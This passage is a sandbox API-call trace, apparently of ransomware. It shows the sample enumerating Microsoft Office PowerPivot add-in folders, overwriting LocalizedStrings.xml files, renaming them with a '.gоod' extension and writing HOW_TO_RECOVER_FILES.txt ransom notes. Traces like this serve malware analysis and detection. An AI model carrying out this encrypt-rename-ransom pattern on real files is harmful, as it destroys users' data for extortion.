lpOldMode=0x206ecb60) returned 1 [0255.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0255.596] GetFileType (hFile=0x86c) returned 0x1 [0255.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0255.598] GetFileType (hFile=0x86c) returned 0x1 [0255.599] WriteFile (in: hFile=0x86c, lpBuffer=0x3c0b158*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3c0b158*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0255.600] CloseHandle (hObject=0x86c) returned 1 [0255.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0255.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en", lpFilePart=0x0) returned 0x51 [0255.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0255.601] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.601] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0255.601] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.601] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0255.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0255.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0255.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0255.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en", lpFilePart=0x0) returned 0x51 [0255.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0255.602] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.602] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0255.602] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 0 [0255.602] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0255.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0255.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0255.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0255.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c1a8e8 | out: lpFileInformation=0x3c1a8e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6)) returned 1 [0255.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0255.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.603] GetFileType (hFile=0x86c) returned 0x1 [0255.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.603] GetFileType (hFile=0x86c) returned 0x1 [0255.604] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0255.604] ReadFile (in: hFile=0x86c, lpBuffer=0x3c1ada0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3c1ada0*, lpNumberOfBytesRead=0x206ec9c8*=0xa6, lpOverlapped=0x0) returned 1 [0255.924] CloseHandle (hObject=0x86c) returned 1 [0255.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.924] GetFileType (hFile=0x86c) returned 0x1 [0255.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.924] GetFileType (hFile=0x86c) returned 0x1 [0255.924] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x10a6 [0255.924] WriteFile (in: hFile=0x86c, lpBuffer=0x3ba4b78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3ba4b78*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0255.925] CloseHandle (hObject=0x86c) returned 1 [0255.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.925] GetFileType (hFile=0x86c) returned 0x1 [0255.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.925] GetFileType (hFile=0x86c) returned 0x1 [0255.925] ReadFile (in: hFile=0x86c, lpBuffer=0x3ba6e88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3ba6e88*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0255.971] CloseHandle (hObject=0x86c) returned 1 [0255.971] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.971] GetFileType (hFile=0x86c) returned 0x1 [0255.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.971] GetFileType (hFile=0x86c) returned 0x1 [0255.971] WriteFile (in: hFile=0x86c, lpBuffer=0x3ba5b90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3ba5b90*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0255.971] CloseHandle (hObject=0x86c) returned 1 [0255.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0255.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0255.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94c84f74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10b6)) returned 1 [0255.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0255.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml.gоod")) returned 1 [0255.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0255.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0255.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0255.973] GetFileType (hFile=0x86c) returned 0x1 [0255.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0255.973] GetFileType (hFile=0x86c) returned 0x1 [0255.974] WriteFile (in: hFile=0x86c, lpBuffer=0x3ca9ac8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3ca9ac8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0255.974] CloseHandle (hObject=0x86c) returned 1 [0255.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0255.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es", lpFilePart=0x0) returned 0x51 [0255.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0256.693] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bf45a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bf45a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0256.727] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14068, 